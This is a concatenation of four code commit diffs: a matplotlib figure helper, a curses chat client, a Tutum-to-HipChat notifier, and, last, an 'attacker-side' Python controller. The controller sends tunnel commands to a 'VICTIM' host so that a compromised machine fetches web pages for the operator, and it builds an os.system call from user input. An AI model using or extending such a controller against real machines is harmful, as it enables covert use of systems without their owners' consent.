	def format_axis(self, xyrange=None, arrows=False, ticks=[], grid=False):
		# TODO:
		    # Expose color of axis to user
			# Get rid of margins
			# Consecutive integers for ticks by default
			# Don't show numbers for all ticks

		# Modify the plot view to scale, remove axis, and center our shape

		def adjust_spines(ax, spines):
		    for loc, spine in ax.spines.items():
		        if loc in spines:
		            spine.set_position(('outward', 10))  # outward by 10 points
		            spine.set_smart_bounds(True)
		        else:
		            spine.set_color('none')  # don't draw spine

		    # turn off ticks where there is no spine
		    if 'left' in spines:
		        ax.yaxis.set_ticks_position('left')
		    else:
		        # no yaxis ticks
		        ax.yaxis.set_ticks([])

		    if 'bottom' in spines:
		        ax.xaxis.set_ticks_position('bottom')
		    else:
		        # no xaxis ticks
		        ax.xaxis.set_ticks([])

		#self.ax.autoscale_view()
		if xyrange == None:
			plt.axis('off')
			plt.axis('scaled')
		else:
			plt.gca().set_aspect('equal', adjustable='box')
			self.ax.set_xlim(left=xyrange[0][0], right=xyrange[0][1])
			self.ax.set_ylim(bottom=xyrange[1][0], top=xyrange[1][1])
			self.ax.spines['left'].set_position('center')
			self.ax.spines['right'].set_color('none')
			self.ax.spines['bottom'].set_position('center')
			self.ax.spines['top'].set_color('none')

		self.fig.tight_layout()

	def __export__(self):
		import StringIO

		export_str = StringIO.StringIO()
		self.fig.savefig(export_str, format='svg')
		export_str.seek(0)  # rewind the data
		return export_str.buf  # this is svg data

	def __writeFile__(self, file_location):
		plt.savefig(file_location, bbox_inches='tight')

	def __display__(self):
		plt.show()

	def addPolygon(self, vertices):
		polygon = Polygon.Polygon(vertices, self.fig, self.ax)
		return polygon

	def addCircle(self, xy=(0,0), diameter=None, radius=None, label=None):
		circle = Circle.Circle(self.fig, self.ax, xy, diameter, radius, label)
		return circle

	def addEllipse(self, xy=(0,0), width=None, height=None, wlabel=None, hlabel=None, dwidth=None, dheight=None):
		ellipse = Ellipse.Ellipse(self.fig, self.ax, xy, width, height, wlabel, hlabel, dwidth, dheight)
		return ellipse
<commit_msg>Removed margins for export function<commit_after>import shapes
import matplotlib
matplotlib.use('Agg') # Change renderer so it doesn't use the GUI
matplotlib.rcParams['mathtext.fontset'] = 'cm' # Change font to Computer Modern (LaTeX font)
import matplotlib.pyplot as plt
import numpy as np
from shapes import Polygon, Circle, Ellipse

class Figures:
	def __init__(self):
		self.fig, self.ax = plt.subplots()

	def add_text(self, xy, text, color="black", fontsize=25):
		raise Exception('Not implemented yet')

	def add_function(self, functions, xyranges, colors='black', linewidth=2):
		color_dict = {
			"blue": 'b',
			"green": 'g',
			"red": 'r',
			"cyan": 'c',
			"magenta": 'm',
			"yellow": 'y',
			"black": 'k',
			"white": 'w'
		}

		if not isinstance(functions, list):
			functions = [functions]
			xyranges = [xyranges]
			colors = [colors]

		for function, xyrange, color in zip(functions, xyranges, colors):
			x = np.linspace(xyrange[0][0], xyrange[0][1], 100)
			y = function(x)
			self.ax.plot(x, y, color_dict[color])

	def format_axis(self, xyrange=None, arrows=False, ticks=[], grid=False):
		# TODO:
		    # Expose color of axis to user
			# Get rid of margins
			# Consecutive integers for ticks by default
			# Don't show numbers for all ticks

		# Modify the plot view to scale, remove axis, and center our shape

		def adjust_spines(ax, spines):
		    for loc, spine in ax.spines.items():
		        if loc in spines:
		            spine.set_position(('outward', 10))  # outward by 10 points
		            spine.set_smart_bounds(True)
		        else:
		            spine.set_color('none')  # don't draw spine

		    # turn off ticks where there is no spine
		    if 'left' in spines:
		        ax.yaxis.set_ticks_position('left')
		    else:
		        # no yaxis ticks
		        ax.yaxis.set_ticks([])

		    if 'bottom' in spines:
		        ax.xaxis.set_ticks_position('bottom')
		    else:
		        # no xaxis ticks
		        ax.xaxis.set_ticks([])

		#self.ax.autoscale_view()
		if xyrange == None:
			plt.axis('off')
			plt.axis('scaled')
		else:
			plt.gca().set_aspect('equal', adjustable='box')
			self.ax.set_xlim(left=xyrange[0][0], right=xyrange[0][1])
			self.ax.set_ylim(bottom=xyrange[1][0], top=xyrange[1][1])
			self.ax.spines['left'].set_position('center')
			self.ax.spines['right'].set_color('none')
			self.ax.spines['bottom'].set_position('center')
			self.ax.spines['top'].set_color('none')

		self.fig.tight_layout()

	def __export__(self):
		import StringIO

		export_str = StringIO.StringIO()
		self.fig.savefig(export_str, format='svg', bbox_inches='tight')
		export_str.seek(0)  # rewind the data
		return export_str.buf  # this is svg data

	def __writeFile__(self, file_location):
		plt.savefig(file_location, bbox_inches='tight')

	def __display__(self):
		plt.show()

	def addPolygon(self, vertices):
		polygon = Polygon.Polygon(vertices, self.fig, self.ax)
		return polygon

	def addCircle(self, xy=(0,0), diameter=None, radius=None, label=None):
		circle = Circle.Circle(self.fig, self.ax, xy, diameter, radius, label)
		return circle

	def addEllipse(self, xy=(0,0), width=None, height=None, wlabel=None, hlabel=None, dwidth=None, dheight=None):
		ellipse = Ellipse.Ellipse(self.fig, self.ax, xy, width, height, wlabel, hlabel, dwidth, dheight)
		return ellipse
<|endoftext|>


<commit_before>import curses

from pyt.interface import window_generators, utils, constants
from pyt.chat_handler import irc_wrapper, xmpp_wrapper

def get_key(stdscr):
	"""Workaround for weird Return handling of get_wch()
	"""
	key = stdscr.getch()
	if key == 10:
		return curses.KEY_ENTER
	curses.ungetch(key)
	return stdscr.get_wch()

def setup(stdscr, stdout):
	def communicator(typ, data):
		if typ == "add_item":
			# add entry to channel menu
			# data = {
			#	'channel': <name>,
			#	'server': <name>,
			#	'type': irc/xmpp
			#}
			chan_win.add_item(data)
			if len(chan_win.items) == 1:
				# TODO: do this the proper way
				chat_win.update_selection(chan_win.get_selection())
		elif typ == "rm_item":
			# data = <channel name>
			chan_win.rm_item(data)
		elif typ == "recv_msg":
			# data = {
			#	'target': <name>,
			#	'sender': <name>,
			#	'msg': <text>
			#}
			chat_win.new_message(data)
		else:
			print('Unknown command: %s, %s' % (typ, str(data)))

	curses.curs_set(0) # disable cursor
	stdscr.immedok(True)
	stdscr.clear()
	constants.init_colors()

	chan_win = window_generators.get_channel_list_window(stdscr)
	chat_win = window_generators.get_chat_window(stdscr)

	# add stdout/err channel
	stdout.set_callback(communicator)
	communicator(
		"add_item",
		{
			'channel': 'master',
			'server': None,
			'type': 'internal'
		}
	)

	irc_thread = utils.start_thread(irc_wrapper.init_connection, communicator)
	xmpp_thread = utils.start_thread(xmpp_wrapper.init_connection, communicator)

	# I/O thread
	while 1:
		key = get_key(stdscr)

		# navigate menu
		if key == curses.KEY_UP:
			chan_win.navigate(-1)
			chat_win.update_selection(chan_win.get_selection())
		elif key == curses.KEY_DOWN:
			chan_win.navigate(1)
			chat_win.update_selection(chan_win.get_selection())
		# send message
		elif key == curses.KEY_ENTER or key == ord('\n'):
			sel = chan_win.get_selection()
			typ = sel['type']
			inp = chat_win.get_input()

			if typ == 'irc':
				irc_wrapper.parse_input(inp, sel)
			elif typ == 'xmpp':
				xmpp_wrapper.parse_input(inp, sel)
			elif typ == 'internal':
				pass # handle internal commands
		# delete last char
		elif key == curses.KEY_BACKSPACE:
			chat_win.rm_last_char()
		#write message
		else:
			chat_win.add_char(key)<commit_msg>Fixed bug<commit_after>import curses

from pyt.interface import window_generators, utils, constants
from pyt.chat_handler import irc_wrapper, xmpp_wrapper

def get_key(stdscr):
	"""Workaround for weird Return handling of get_wch()
	"""
	key = stdscr.getch()
	if key == 10:
		return curses.KEY_ENTER
	curses.ungetch(key)
	return stdscr.get_wch()

def setup(stdscr, stdout):
	def communicator(typ, data):
		if typ == "add_item":
			# add entry to channel menu
			# data = {
			#	'channel': <name>,
			#	'server': <name>,
			#	'type': irc/xmpp
			#}
			chan_win.add_item(data)
			if len(chan_win.items) == 1:
				# TODO: do this the proper way
				chat_win.update_selection(chan_win.get_selection())
		elif typ == "rm_item":
			# data = <channel name>
			chan_win.rm_item(data)
		elif typ == "recv_msg":
			# data = {
			#	'target': <name>,
			#	'sender': <name>,
			#	'msg': <text>
			#}
			chat_win.new_message(data)
		else:
			print('Unknown command: %s, %s' % (typ, str(data)))

	curses.curs_set(0) # disable cursor
	stdscr.immedok(True)
	stdscr.clear()
	constants.init_colors()

	chan_win = window_generators.get_channel_list_window(stdscr)
	chat_win = window_generators.get_chat_window(stdscr)

	# add stdout/err channel
	stdout.set_callback(communicator)
	communicator(
		"add_item",
		{
			'channel': 'master',
			'server': None,
			'type': 'internal'
		}
	)

	irc_thread = utils.start_thread(irc_wrapper.init_connection, communicator)
	xmpp_thread = utils.start_thread(xmpp_wrapper.init_connection, communicator)

	# I/O thread
	while 1:
		key = get_key(stdscr)

		# navigate menu
		if key == curses.KEY_UP:
			chan_win.navigate(-1)
			chat_win.update_selection(chan_win.get_selection())
		elif key == curses.KEY_DOWN:
			chan_win.navigate(1)
			chat_win.update_selection(chan_win.get_selection())
		# send message
		elif key == curses.KEY_ENTER or key == ord('\n'):
			sel = chan_win.get_selection()
			typ = sel['type']
			inp = chat_win.get_input()

			if typ == 'irc':
				irc_wrapper.parse_input(inp, sel)
			elif typ == 'xmpp':
				xmpp_wrapper.parse_input(inp, sel)
			elif typ == 'internal':
				pass # handle internal commands
		# delete last char
		elif key == curses.KEY_BACKSPACE:
			chat_win.rm_last_char()
		#write message
		else:
			if type(key) == type(''):
				chat_win.add_char(key)<|endoftext|>


<commit_before>import os
import websocket
import json
import logging

from integrations.hipchat import generic_hipchat, post_hipchat
from integrations.utilities import get_resource

STACK_NAME = os.environ.get('STACK_NAME', '')

def on_error(ws, error):
    print error

def on_close(ws):
    print "### closed ###"

def on_message(ws, message):
    msg_as_JSON = json.loads(message)
    type = msg_as_JSON.get("type")
    if type:
        if type == "auth":
            print("Auth completed")
        elif type == "container":
            generic_hipchat(message)
        elif type == "service":
            parents = msg_as_JSON.get("parents")
            service = get_resource(msg_as_JSON.get("resource_uri"))
            service_as_JSON = json.loads(service)

            if parents:
                stack = get_resource(parents[0])
                stack_as_JSON = json.loads(stack)
                stack_name = stack_as_JSON.get('name')
                if STACK_NAME and stack_name != STACK_NAME:
                    # do nothing
                    print("Doing nothing, STACK_NAME({}) set and notification is related to different stack({})".format(STACK_NAME,stack_namegit ))
                else:
                    text = ("A Service {} was {}d. The current state is {}. \nIt belonged to the "
                        "{} Stack.\nThe Stack state is: {}".format(service_as_JSON.get('name'),
                                                                   msg_as_JSON.get('action'),
                                                                   service_as_JSON.get('state'),
                                                                   stack_name,
                                                                   stack_as_JSON.get('state')))
                    post_hipchat(text=text)
        elif type != "user-notifications":
            print("{}:{}:{}:{}:{}".format(type, msg_as_JSON.get("action"), msg_as_JSON.get("state"), msg_as_JSON.get("resource_uri"), msg_as_JSON.get("parents")))

def on_open(ws):
    print "Connected"

logging.basicConfig(level=logging.DEBUG)

if __name__ == "__main__":
    websocket.enableTrace(False)
    token = os.environ.get('TUTUM_TOKEN')
    username = os.environ.get('TUTUM_USERNAME')
    TUTUM_AUTH = os.environ.get('TUTUM_AUTH')

    if TUTUM_AUTH:
        TUTUM_AUTH = TUTUM_AUTH.replace(' ', '%20')
        url = 'wss://stream.tutum.co/v1/events?auth={}'.format(TUTUM_AUTH)
    elif token and username:
        url = 'wss://stream.tutum.co/v1/events?token={}&user={}'.format(token, username)
    else:
        raise Exception("Please provide authentication credentials")

    ws = websocket.WebSocketApp(url,
                                on_message = on_message,
                                on_error = on_error,
                                on_close = on_close,
                                on_open = on_open)

    try:
        ws.run_forever()
    except KeyboardInterrupt:
        pass
<commit_msg>Typo fixed<commit_after>import os
import websocket
import json
import logging

from integrations.hipchat import generic_hipchat, post_hipchat
from integrations.utilities import get_resource

STACK_NAME = os.environ.get('STACK_NAME', '')

def on_error(ws, error):
    print error

def on_close(ws):
    print "### closed ###"

def on_message(ws, message):
    msg_as_JSON = json.loads(message)
    type = msg_as_JSON.get("type")
    if type:
        if type == "auth":
            print("Auth completed")
        elif type == "container":
            generic_hipchat(message)
        elif type == "service":
            parents = msg_as_JSON.get("parents")
            service = get_resource(msg_as_JSON.get("resource_uri"))
            service_as_JSON = json.loads(service)

            if parents:
                stack = get_resource(parents[0])
                stack_as_JSON = json.loads(stack)
                stack_name = stack_as_JSON.get('name')
                if STACK_NAME and stack_name != STACK_NAME:
                    # do nothing
                    print("Doing nothing, STACK_NAME({}) set and notification is related to different stack({})".format(STACK_NAME,stack_name))
                else:
                    text = ("A Service {} was {}d. The current state is {}. \nIt belonged to the "
                        "{} Stack.\nThe Stack state is: {}".format(service_as_JSON.get('name'),
                                                                   msg_as_JSON.get('action'),
                                                                   service_as_JSON.get('state'),
                                                                   stack_name,
                                                                   stack_as_JSON.get('state')))
                    post_hipchat(text=text)
        elif type != "user-notifications":
            print("{}:{}:{}:{}:{}".format(type, msg_as_JSON.get("action"), msg_as_JSON.get("state"), msg_as_JSON.get("resource_uri"), msg_as_JSON.get("parents")))

def on_open(ws):
    print "Connected"

logging.basicConfig(level=logging.DEBUG)

if __name__ == "__main__":
    websocket.enableTrace(False)
    token = os.environ.get('TUTUM_TOKEN')
    username = os.environ.get('TUTUM_USERNAME')
    TUTUM_AUTH = os.environ.get('TUTUM_AUTH')

    if TUTUM_AUTH:
        TUTUM_AUTH = TUTUM_AUTH.replace(' ', '%20')
        url = 'wss://stream.tutum.co/v1/events?auth={}'.format(TUTUM_AUTH)
    elif token and username:
        url = 'wss://stream.tutum.co/v1/events?token={}&user={}'.format(token, username)
    else:
        raise Exception("Please provide authentication credentials")

    ws = websocket.WebSocketApp(url,
                                on_message = on_message,
                                on_error = on_error,
                                on_close = on_close,
                                on_open = on_open)

    try:
        ws.run_forever()
    except KeyboardInterrupt:
        pass
<|endoftext|>


<commit_before>#!/usr/bin/python3

import requests;
import json;
import os;
import threading;
from sys import argv;

''' GLOBAL VARS '''
VICTIM = ["127.0.0.1",1337]; # (<ip_address>, <port_no.>)

''' FUNCTIONS '''
def menu():
	choices = ["tunnel", "quit"];
	print(" :: MENU ::");
	print(" - tunnel");
	print(" - quit");
	while True:
		inp = input("-> ").lstrip(" ").rstrip(" ");
		if inp in choices:
			return(inp);

def send(action,value):
	payload = json.dumps({"action":action,"value":value});
	vic_url = "http://"+VICTIM[0]+":"+str(VICTIM[1])+"";
	resp = requests.get(vic_url,data=payload);
	return(resp.content);

def tunnel():
	url = input("[address] -> ");
	print("Fetching....");
	start_time = time.time();
	bin_resp = send("tunnel",url);
	fetch_time = time.time() - start_time;
	print("Got response [in "+str(fetch_time)+" seconds]! Saving to "+url+".html");
	op_file = open(url+".html","wb");
	op_file.write(bin_resp);
	op_file.close();
	choice = input("Open Site? [y/n] : ");
	if choice == "y" or choice == "Y":
		threading.Thread(target=os.system("xdg-open "+url+".html 1> /dev/null"));
	return;

def get_target():
	while True:
		ip = input("Victim Address -> ");
		if ip.split(".") == 4:
			return(ip);

''' MAIN '''
if __name__ == "__main__":
	print("Starting attacker-side program....");
	run_flag = True;

	if len(argv) >= 2:
		VICTIM[0]=argv[1];
	else:
		VICTIM[0] = get_target();

	while run_flag == True:
		choice = menu();
		if choice == "tunnel":
			tunnel();
		elif choice == "quit":
			run_flag = False;
		print("\n\n");
<commit_msg>added missing time module<commit_after>#!/usr/bin/python3

import requests;
import json;
import os;
import threading;
from sys import argv;
import time;

''' GLOBAL VARS '''
VICTIM = ["127.0.0.1",1337]; # (<ip_address>, <port_no.>)

''' FUNCTIONS '''
def menu():
	choices = ["tunnel", "quit"];
	print(" :: MENU ::");
	print(" - tunnel");
	print(" - quit");
	while True:
		inp = input("-> ").lstrip(" ").rstrip(" ");
		if inp in choices:
			return(inp);

def send(action,value):
	payload = json.dumps({"action":action,"value":value});
	vic_url = "http://"+VICTIM[0]+":"+str(VICTIM[1])+"";
	resp = requests.get(vic_url,data=payload);
	return(resp.content);

def tunnel():
	url = input("[address] -> ");
	print("Fetching....");
	start_time = time.time();
	bin_resp = send("tunnel",url);
	fetch_time = time.time() - start_time;
	print("Got response [in "+str(fetch_time)+" seconds]! Saving to "+url+".html");
	op_file = open(url+".html","wb");
	op_file.write(bin_resp);
	op_file.close();
	choice = input("Open Site? [y/n] : ");
	if choice == "y" or choice == "Y":
		threading.Thread(target=os.system("xdg-open "+url+".html 1> /dev/null"));
	return;

def get_target():
	while True:
		ip = input("Victim Address -> ");
		if ip.split(".") == 4:
			return(ip);

''' MAIN '''
if __name__ == "__main__":
	print("Starting attacker-side program....");
	run_flag = True;

	if len(argv) >= 2:
		VICTIM[0]=argv[1];
	else:
		VICTIM[0] = get_target();

	while run_flag == True:
		choice = menu();
		if choice == "tunnel":
			tunnel();
		elif choice == "quit":
			run_flag = False;
		print("\n\n");
<|endoftext|>